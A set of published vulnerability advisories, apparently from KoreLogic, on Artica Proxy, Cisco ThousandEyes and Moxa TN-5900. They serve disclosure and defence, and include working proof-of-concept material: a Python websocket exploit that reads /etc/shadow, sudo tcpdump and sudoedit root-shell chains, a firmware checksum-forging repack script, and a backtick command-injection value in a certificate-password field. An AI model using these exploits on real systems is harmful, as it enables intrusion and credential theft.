listening on TCP port 7050. Security issues associated with exposing this network service are documented at https://github.com/gvalkov/tailon#security. Using the tailon service, the contents of any file on the Artica Proxy can be viewed. ## Technical Description ```text root@artica-450:~# netstat -anop | grep LIST | egrep '127.0.|::' | awk '{ print $4 " " $7 }' 127.0.0.1:57585 /(squid-1) 127.0.0.1:8562 /nginx: 127.0.0.1:884 /sshd 127.0.0.55:53 /dnscache 127.0.0.1:9143 /[authlog] 127.0.0.1:5432 /postgres 127.0.0.1:2521 /artica-smtpd 127.0.0.1:2874 /monit 127.0.0.1:19102 /[cache-tail] 127.0.0.1:3333 /go-shield-serv 127.0.0.1:389 /slapd 127.0.0.1:3334 /go-exec 127.0.0.1:7050 /tailon :::4949 /perl :::9025 /[error-page] ``` ```text root@artica-450:~# ps -efww | grep tailon root 2765 1 0 Nov07 ? 00:01:29 /sbin/tailon --allow-download --config /etc/tailon/config.toml alias=Syslog,group=System,/var/log/syslog alias=Daemons,group=Services,/var/log/*.log alias=Proxy,group=Service-Proxy,/var/log/squid/*.log alias=Nginx,group=Service-Web,/var/log/nginx/*.log ``` ## Mitigation and Remediation Recommendation No response from vendor; no remediation available. ## Credit This vulnerability was discovered by Jim Becher and Jaggar Henry of KoreLogic, Inc. ## Proof of Concept ```text $ python3 exploit.py 192.168.2.139 /etc/shadow 1701282189.746 35 192.168.2.99 TCP_TUNNEL/200 3496 CONNECT 0.0.0.0:7050 - HIER_DIRECT/0.0.0.0:7050 - mac=\\\"e0:d5:5e:0a:d3:24\\\" category:%200%0D%0Acategory-name:%20Unknown%0D%0Aclog:%20cinfo:0-Unknown;%0D%0A exterr=\\\"-|-\\\" root:$6$Pvb1ivrg5oo.a/om$xtRvfpBBSZgPt/fDjHzw9k9e.jxWaY.LPOqnqHJcSBuQMxtjtG6pBBMMf1Z6D4jtN6kDSB3h5FufJ9DuXv.7R0:19507:0:99999:7::: daemon:*:19507:0:99999:7::: bin:*:19507:0:99999:7::: sys:*:19507:0:99999:7::: sync:*:19507:0:99999:7::: games:*:19507:0:99999:7::: man:*:19507:0:99999:7::: ... ... ``` ### exploit.py ```python import re import sys import json import websocket """ run `pip install websocket-client` before executing. """ ARTICA_PROXY_IP = sys.argv[1] if len(sys.argv) >= 2 else '172.17.0.1' FILE_TO_READ = sys.argv[2] if len(sys.argv) >= 3 else '/etc/passwd' WEBSOCKET_URI = 'ws://0.0.0.0:7050/tailon/ws/1337/korelogic/websocket' payload = { 'command': 'sed', 'script': f'r {FILE_TO_READ}', 'entry': { 'path': '/var/log/squid/access.log', 'alias': 'Proxy/access.log', }, 'nlines': 1 } websocket_message = json.dumps([json.dumps(payload)]) ws = websocket.WebSocket() ws.connect(WEBSOCKET_URI, http_proxy_host=ARTICA_PROXY_IP, http_proxy_port='8085', proxy_type='http') ws.send(websocket_message) reading = True while reading: data = re.search(r'a\["\[\\"o\\",\\"(.*)\\"]"]$', ws.recv()) if data: print(data.group(1)) ws.close() ``` --- ## KL-001-2023-001: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig URL: https://korelogic.com/advisories/KL-001-2023-001/ KL-001-2023-001 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig - CVE-2023-20217 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Advisory ID: KL-001-2023-001 Published: 2023-08-17 Vendor: Cisco Product: ThousandEyes Enterprise Agent Virtual Appliance Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CVE: CVE-2023-20217 CWE: CWE-250 - Execution with Unnecessary Privileges CWE: CWE-1220 - Insufficient Granularity of Access Control Discovered by: Jim Becher, Hank Leininger ## References - [CWE-250 - Execution with Unnecessary Privileges](https://cwe.mitre.org/data/definitions/250.html) - [CWE-1220 - Insufficient Granularity of Access Control](https://cwe.mitre.org/data/definitions/1220.html) - [CVE-2023-20217](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20217) - [Signed advisory text](/advisories/KL-001-2023-001.txt) ## Vulnerability Description An insecure sudo configuration permits a low-privilege user to read root-only files via the 'dig' command without a password. ## Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute dig via sudo, allows for reading of arbitrary files using `dig`'s "batch" mode. This mode allows a user to specify a file of requests, one per line. The `dig` command will read the file with elevated privileges and display the resulting queries (i.e. file contents) back to the user. ``` thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump Here we see that dig is available as root with no password, and no restrictions on the arguments it can be passed. thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7::: ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;root:!:19145:0:99999:7:::. IN A ;; Query time: 0 msec ;; SERVER: 127.0.0.53#53(127.0.0.53) ;; WHEN: Fri Mar 31 08:00:38 UTC 2023 ;; MSG SIZE rcvd: 54 ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7::: ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;daemon:!*:18885:0:99999:7:::. IN A ... ;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb... ... ``` ## Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E ## Credit This vulnerability was discovered by Jim Becher and Hank Leininger of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump URL: https://korelogic.com/advisories/KL-001-2023-002/ KL-001-2023-002 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump - CVE-2023-20224 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Advisory ID: KL-001-2023-002 Published: 2023-08-17 Vendor: Cisco Product: ThousandEyes Enterprise Agent Virtual Appliance Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CVE: CVE-2023-20224 CWE: CWE-1395 - Dependency on Vulnerable Third-Party Component Discovered by: Jim Becher ## References - [CWE-1395 - Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html) - [CVE-2023-20224](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-20224) - [Signed advisory text](/advisories/KL-001-2023-002.txt) ## Vulnerability Description An insecure sudo configuration permits a low-privilege user to run arbitrary commands as root via the 'tcpdump' command without a password. ## Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute tcpdump via sudo is permitted without requiring the password. The post-rotate functionality of tcpdump can be used to execute arbitrary commands on the virtual appliance, allowing a privilege escalation to root. This is a known privilege escalation path, but had not been disclosed for the ThousandEyes Virtual Appliance. ```text $ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa thousandeyes@1.3.3.7 Welcome to ThousandEyes! Last login: Tue Jan 3 20:16:37 2023 from 1.3.3.8 thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump ``` Here we see that `tcpdump` is available as root with no password, and no restrictions on the arguments it can be passed. Prepare a malicious script, then have tcpdump execute it as a postrotate command. Note, this needs to be more than simply a setuid copy of bash as it will drop privs if UID!=EUID, but python will not. ```text thousandeyes@thousandeyes-va:~$ cat /tmp/x4 COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root thousandeyes@thousandeyes-va:~$ cat /tmp/runme4 /python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")' thousandeyes@thousandeyes-va:~$ /tmp/x4 dropped privs to root tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes ``` In another ssh session as the 'thousandeyes' user, execute 'ping -c 1 127.0.0.1' to trigger tcpdump rotation: ```text Maximum file limit reached: 1 1 packet captured 4 packets received by filter 0 packets dropped by kernel ``` Execute the setuid python which then launches a shell: ```text thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4 # id uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) # bash root@thousandeyes-va:~# id uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) root@thousandeyes-va:~# cat /etc/shadow root:!:19145:0:99999:7::: daemon:!*:18885:0:99999:7::: bin:!*:18885:0:99999:7::: sys:!*:18885:0:99999:7::: sync:!*:18885:0:99999:7::: games:!*:18885:0:99999:7::: man:!*:18885:0:99999:7::: lp:!*:18885:0:99999:7::: mail:!*:18885:0:99999:7::: news:!*:18885:0:99999:7::: uucp:!*:18885:0:99999:7::: proxy:!*:18885:0:99999:7::: www-data:!*:18885:0:99999:7::: backup:!*:18885:0:99999:7::: list:!*:18885:0:99999:7::: irc:!*:18885:0:99999:7::: gnats:!*:18885:0:99999:7::: nobody:*:18885:0:99999:7::: systemd-network:!*:18885:0:99999:7::: systemd-resolve:!*:18885:0:99999:7::: syslog:!*:18885:0:99999:7::: messagebus:!*:18885:0:99999:7::: _apt:!*:18885:0:99999:7::: thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30::: rdnssd:!*:19146:7:99999:30::: browserbot:!:19146:::::: cntlm:!*:19146:7:99999:30::: sshd:!*:19146:7:99999:30::: root@thousandeyes-va:~# ``` ## Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3 ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit URL: https://korelogic.com/advisories/KL-001-2023-003/ KL-001-2023-003 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit - CVE-2023-22809 - Cisco ThousandEyes Enterprise Agent Virtual Appliance Advisory ID: KL-001-2023-003 Published: 2023-08-17 Vendor: Cisco Product: ThousandEyes Enterprise Agent Virtual Appliance Version: thousandeyes-va-64-18.04 0.218 Platform: Linux / Ubuntu 18.04 CVE: CVE-2023-22809 CWE: CWE-1395 - Dependency on Vulnerable Third-Party Component Discovered by: Jim Becher ## References - [CWE-1395 - Dependency on Vulnerable Third-Party Component](https://cwe.mitre.org/data/definitions/1395.html) - [CVE-2023-22809](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22809) - [Signed advisory text](/advisories/KL-001-2023-003.txt) ## Vulnerability Description An unpatched vulnerability in 'sudoedit', allowed by sudo configuration, permits a low-privilege user to modify arbitrary files as root and subsequently execute arbitrary commands as root. ## Technical Description The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the 'thousandeyes' account. However, the ability to execute `sudoedit` of a specific file (`/etc/hosts`) via sudo is permitted without requiring the password. The sudoedit binary can be abused to allow the modification of any file on the filesystem. This is a known security vulnerability (per https://seclists.org/oss-sec/2023/q1/42), but had not been disclosed for the ThousandEyes Virtual Appliance. This can be abused to allow root-level compromise of the virtual appliance. ```text thousandeyes@thousandeyes-va:~$ id uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare) thousandeyes@thousandeyes-va:~$ sudo -l Matching Defaults entries for thousandeyes on thousandeyes-va: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User thousandeyes may run the following commands on thousandeyes-va: (ALL : ALL) ALL (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent, /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-* (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump ``` Here we see that `/usr/local/bin/te-*` are executable as root with no password. Even though sudoedit is only permitted to edit /etc/hosts, we can use `EDITOR=` to spawn vim to edit an arbitrary file. Pick one of those scripts because we can then execute it: ```text thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config /usr/local/bin/te-set-config: Python script, ASCII text executable thousandeyes@thousandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts sudoedit: --: editing files in a writable directory is not permitted 2 files to edit sudoedit: /etc/hosts unchanged thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config /usr/local/bin/te-set-config: ASCII text thousandeyes@thousandeyes-va:~$ cat /usr/local/bin/te-set-config /bin/bash thousandeyes@thousandeyes-va:~$ sudo /usr/local/bin/te-set-config root@thousandeyes-va:~# id uid=0(root) gid=0(root) groups=0(root) root@thousandeyes-va:~# ``` ## Mitigation and Remediation Recommendation The vendor has released a version which remediates the described vulnerability. Release notes are available at: https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994 ## Credit This vulnerability was discovered by Jim Becher of KoreLogic, Inc. ## Proof of Concept See 3. Technical Description. --- ## KL-001-2022-001: Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability URL: https://korelogic.com/advisories/KL-001-2022-001/ KL-001-2022-001 - Moxa TN-5900 Firmware Upgrade Checksum Validation Vulnerability - CVE-2021-46559 - Moxa TN-5900 Advisory ID: KL-001-2022-001 Published: 2022-01-28 Vendor: Moxa Product: TN-5900 Version: v3.1 and prior Platform: Moxa Linux CVE: CVE-2021-46559 CWE: CWE-354 - Improper Validation of Integrity Check Value Discovered by: Matt Bergin, Josh Hardin ## References - [CWE-354 - Improper Validation of Integrity Check Value](https://cwe.mitre.org/data/definitions/354.html) - [CVE-2021-46559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46559) - [Signed advisory text](/advisories/KL-001-2022-001.txt) ## Vulnerability Description Moxa TN-5900 v3.1.0 and prior uses an insecure method to validate firmware updates. A malicious user with access to the management interface can upload arbitrary code in a crafted firmware image simply by replacing a CRC value in the image header. ## Technical Description Analysis on this vulnerability began when KoreLogic noticed that the Ssgl2_update_session_now function is immediately called when the URL `/goform/web_fwUpload` is given to the management application. The `Ssgl2_update_session_now` function will enable a session after authentication through the user interface. ```c undefined4 websSecurityHandler(longlong *param_1) { ... ... if (requestPtr[0x20] != 0) { ... ... field_1 = strncmp(in_t0,"/init.asp",9); if (CONCAT44(extraout_v0_hi_07,field_1) != 0) { field_2 = strncmp(in_t0,"/goform/web_fwUpload",0x14); if (CONCAT44(extraout_v0_hi_08,field_2) == 0) { Ssgl2_update_session_now(local_490); } lVar3 = Ssgl2_webmultisession_session_verify(local_490,auStack104); ... } } ... ... } ``` Reviewing the `web_fwUpload` function showed the code is used to update the operating firmware of the affected device. Before the firmware is accepted, it must pass a check. This check is provided through the `Ssys_firmwareCheck` function. ```c void web_fwUpload(longlong *param_1,longlong *param_2) { ... if (lVar1 == -1) { FUN_1200222c0(param_1,"../upgrade.asp","Firmware Upgrade Fail! Restart the device."); ... } else { printf("%s() buffer upload datalen = %d\n","web_fwUpload",*(param_1 + 0x39)); ... ... } else { puts("Ssys_firmwareCheck"); local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39)); if (-1 < local_118) { local_118 = Ssys_writeProgram(lVar1); } if (local_118 < 0) { printf("%s() %d firmware check fail ret = %d\n","web_fwUpload",0x7c0,local_118); ... ... } ... } ``` The `Ssys_firmwareCheck` function checks that the kernel and file system have an expected length and that the provided image passes a checksum algorithm. ```c undefined8 Ssys_firmwareCheck(ulonglong param_1,longlong param_2,ulonglong param_3,ulonglong param_4) { ... if (param_2 == local_44._4_4_) { ... if (local_4c._0_4_ == 0x400000) { if ((uVar4 < 0x1800001) && ((uVar4 & 3) == 0)) { ... file_check_sum(param_1 + 0x20,local_4c._4_4_ + 0x400000,&local_50); uVar3 = 0; if (local_50 != local_3c._0_4_) { FUN_0010d230("[Error] %s L%d : Firmware checksum error (0x%x), should be 0x%x \r\n","Ssys_firmwareCheck",0x484,local_50,local_3c._0_4_,extraout_t1_00,extraout_t2_00,extraout_t3_00); uVar3 = 0xfffffffffffffffc; } } else { FUN_0010d230("[Error] %s L%d : Rootfs length error (%d), max to %d bytes \r\n","Ssys_firmwareCheck",0x47a,uVar4,0x1800000,extraout_t1,extraout_t2,extraout_t3); uVar3 = 0xfffffffffffffffd; } } else { FUN_0010d230("[Error] %s L%d : Kernel length error (%d), should be %d bytes \r\n","common.c","Ssys_firmwareCheck",0x474,local_4c._0_4_,0x400000,extraout_t2,extraout_t3); uVar3 = 0xfffffffffffffffe; } } else { FUN_0010d230("[Error] %s L%d : Firmware file logo mismatch (0x0x), should be 0x%x \r\n","Ssys_firmwareCheck",0x46c,local_44._4_4_,param_2,extraout_t1,extraout_t2,extraout_t3); uVar3 = 0xffffffffffffffff; } ... } ``` The checksum is simple and implemented using the following algorithm: ```python #!/usr/bin/env python3 import sys from functools import partial from binascii import hexlify with open(sys.argv[1],"rb") as f: f.seek(0x20) checksum = int(0) for dword in iter(partial(f.read,4),b''): checksum += int(hexlify(dword),16) print (hex(checksum)[-8:]) ``` A breakpoint was set on the `file_check_sum` function using GDB and the valid ROM provided by Moxa was processed. The result of the checksum process was retrieved. ```text Breakpoint 14, 0x000000fff6fac3a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so (gdb) x/1x 0xfffbf4ce30 0xfffbf4ce30: 0x2f43167a ``` The bytes `0x2f43167a` were found in the ROM image itself inside of a header containing 0x20 bytes. ```text $ hexdump -C moxa-tn-5900-series-firmware-v3.1.rom 00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |.@...E..... ....| 00000010 2f 43 16 7a 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............| ``` The following script was constructed to disassemble and rebuild a firmware image using the expected format. The script will create a file /korelogic on the filesystem. The file will be zero bytes. ```bash #!/bin/sh IF=$1 OF=$2 dd bs=1 if=$IF of=$IF.header_1 count=$((0x10)) dd bs=1 if=$IF of=$IF.checksum skip=$((0x10)) count=4 dd bs=1 if=$IF of=$IF.header_2 skip=$((0x14)) count=$((0x20-0x14)) dd bs=1 if=$IF of=$IF.kernel skip=$((0x20)) count=$((0x1d9669-0x20)) dd bs=1 if=$IF of=$IF.splitter skip=$((0x1d9669)) count=$((0x400020-0x1d9669)) dd bs=1 if=$IF of=$IF.cramfs skip=$((0x400020)) cramfsswap $IF.cramfs $IF.cramfs.swap sudo cramfsck -x fs $IF.cramfs.swap touch fs/korelogic mkcramfs fs/ $IF.cramfs.modified cat $IF.header_1 $IF.checksum $IF.header_2 $IF.kernel $IF.splitter $IF.cramfs.modified > $OF ./checksum.py $OF | xxd -r -p > check_value dd bs=1 conv=notrunc if=check_value of=$OF seek=$((0x10)) count=4 ``` Here is the script running. ```text $ sudo ./make_moxa_image.sh moxa-tn-5900-series-firmware-v3.1.rom hacked.rom 16+0 records in 16+0 records out 16 bytes copied, 9.967e-05 s, 161 kB/s 4+0 records in 4+0 records out 4 bytes copied, 7.4433e-05 s, 53.7 kB/s 12+0 records in 12+0 records out 12 bytes copied, 0.000118918 s, 101 kB/s 1939017+0 records in 1939017+0 records out 1939017 bytes (1.9 MB, 1.8 MiB) copied, 3.76396 s, 515 kB/s 2255287+0 records in 2255287+0 records out 2255287 bytes (2.3 MB, 2.2 MiB) copied, 4.32499 s, 521 kB/s 21344256+0 records in 21344256+0 records out 21344256 bytes (21 MB, 20 MiB) copied, 40.8949 s, 522 kB/s Filesystem is big endian, will be converted to little endian. Filesystem contains 3313 files. CRC: 0x9b7eefd0 4+0 records in 4+0 records out 4 bytes copied, 7.4433e-05 s, 53.7 kB/s ``` The hacked.rom image is then processed and the same breakpoint is hit. The new checksum should be 0x0987aafc. The new checksum is patched into the hacked.rom image already from the above script. ```text $ hexdump -C hacked.rom 00000000 00 40 00 00 01 45 b0 00 00 00 00 20 00 00 00 04 |.@...E..... ....| 00000010 09 87 aa fc 03 01 00 00 14 04 07 11 00 00 00 00 |/C.z............| ``` GDB output confirms that the checksum is the same result: ```text Breakpoint 2, 0x000000fff72853a4 in _init () from target:/tmp/moxa/usr/lib64/libsyscommon.so (gdb) x/1x 0xfffbad34d0 0xfffbad34d0: 0x0987aafc ``` When processing the hacked.rom image, we receive a new error. ```text Firmware check failed, error occurs when write kernel to flash. Restart the device. ``` Comparing the indicated error against the pseudo-c indicates we have passed the firmware validation checks. This was confirmed using GDB as well. ```c void web_fwUpload(longlong *param_1,longlong *param_2) { ... if (lVar1 == -1) { ... } else { ... else { puts("Ssys_firmwareCheck"); local_118 = Ssys_firmwareCheck(lVar1,4,*(param_1 + 0x39)); if (-1 < local_118) { local_118 = Ssys_writeProgram(lVar1); } ... } ``` The error indicating a write exception is expected as we were not operating on a Moxa device but were instead emulating the Moxa firmware on a MIPS development board. ## Mitigation and Remediation Recommendation The vendor has released a patch which remediates the described vulnerability. Release notes are available at: https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities ## Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) and Josh Hardin of KoreLogic, Inc. ## Proof of Concept ```http POST /goform/web_fwUpload HTTP/1.1 Host: 192.168.10.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------11395841764774651092787307532 Content-Length: Connection: close Upgrade-Insecure-Requests: 1 -----------------------------11395841764774651092787307532 Content-Disposition: form-data; name="binary"; filename="hacked.rom" Content-Type: text/plain -----------------------------11395841764774651092787307532 Content-Disposition: form-data; name="submit" submit -----------------------------11395841764774651092787307532-- HTTP/1.1 200 OK Server: GoAhead-Webs Pragma: no-cache Cache-control: no-cache Content-Type: text/html Transfer-Encoding: chunked

Firmware check failed, error occurs when write kernel to flash. Restart the device.

``` --- ## KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability URL: https://korelogic.com/advisories/KL-001-2022-002/ KL-001-2022-002 - Moxa TN-5900 Post Authentication Command Injection Vulnerability - CVE-2021-46560 - Moxa TN-5900 Advisory ID: KL-001-2022-002 Published: 2022-01-28 Vendor: Moxa Product: TN-5900 Version: v3.1 and prior Platform: Moxa Linux CVE: CVE-2021-46560 CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Discovered by: Matt Bergin, Josh Hardin ## References - [CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html) - [CVE-2021-46560](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46560) - [Signed advisory text](/advisories/KL-001-2022-002.txt) ## Vulnerability Description A user who has authenticated to the management web application is able to leverage a command injection vulnerability in the p12 processing code of the certificate management function web_CERMGMTUpload. ## Technical Description Following authentication, the webs_CERMGMTUpload API method becomes accessible. This method takes a multi-part HTTP POST request containing four parameters. The `cer_pw` parameter does not properly neutralize special elements used in operating system commands and therefore it is possible to include encapsulated commands to be executed. In the request below, the cer_pw parameter has been written such that when executed by the operating system a zero byte file will appear in the /tmp directory. See the Proof of Concept section. The relevant pseudo-c for this API method is included below. The `websGetVar` function is used to retrieve the `cer_pw` parameter and copies the value into the `pass` variable. The opcode (`mgmtmode`) is then compared to the number 2 and when true will prepare a command to be passed to `system` using the `sprintf` function. When preparing this command, the `pass` variable (`cer_pw`) is included without prior first sanitizing the user input. ```c void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) { ... __nptr = websGetVar(param_1,"mgmtmode",&DAT_120064f68); opcode = atoi(__nptr); __s = websGetVar(param_1,"cer_file",&DAT_120063dd0); local_338 = websGetVar(param_1,"cer_name",&DAT_120063dd0); if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 < lVar1)) { sVar2 = strlen(__s); if (CONCAT44(extraout_v0_hi,sVar2) < 0x41) { ... sVar4 = strlen(local_338); if (CONCAT44(extraout_v0_hi_00,sVar4) < 0x41) { ... if (opcode == 2) { memset(pass,0,0x41); __s = websGetVar(param_1,"cer_pw",&DAT_120063dd0); strncpy(pass,__s,0x20); ... } ... __fd = open(inFile,0x102); if (__fd < 0) { ... } else { sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39)); ... else { if (opcode == 2) { outFile = FUN_120038e28(&local_159); snprintf(cmd,0x100, "openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile ,outFile,pass,pass); system(cmd); ... } ... } ``` Using a debugger we can see the command as it was programmatically created using our malicious input. This command is passed to the system function. ```text (gdb) x/25s $a0 0xfffbddb284: "openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`" 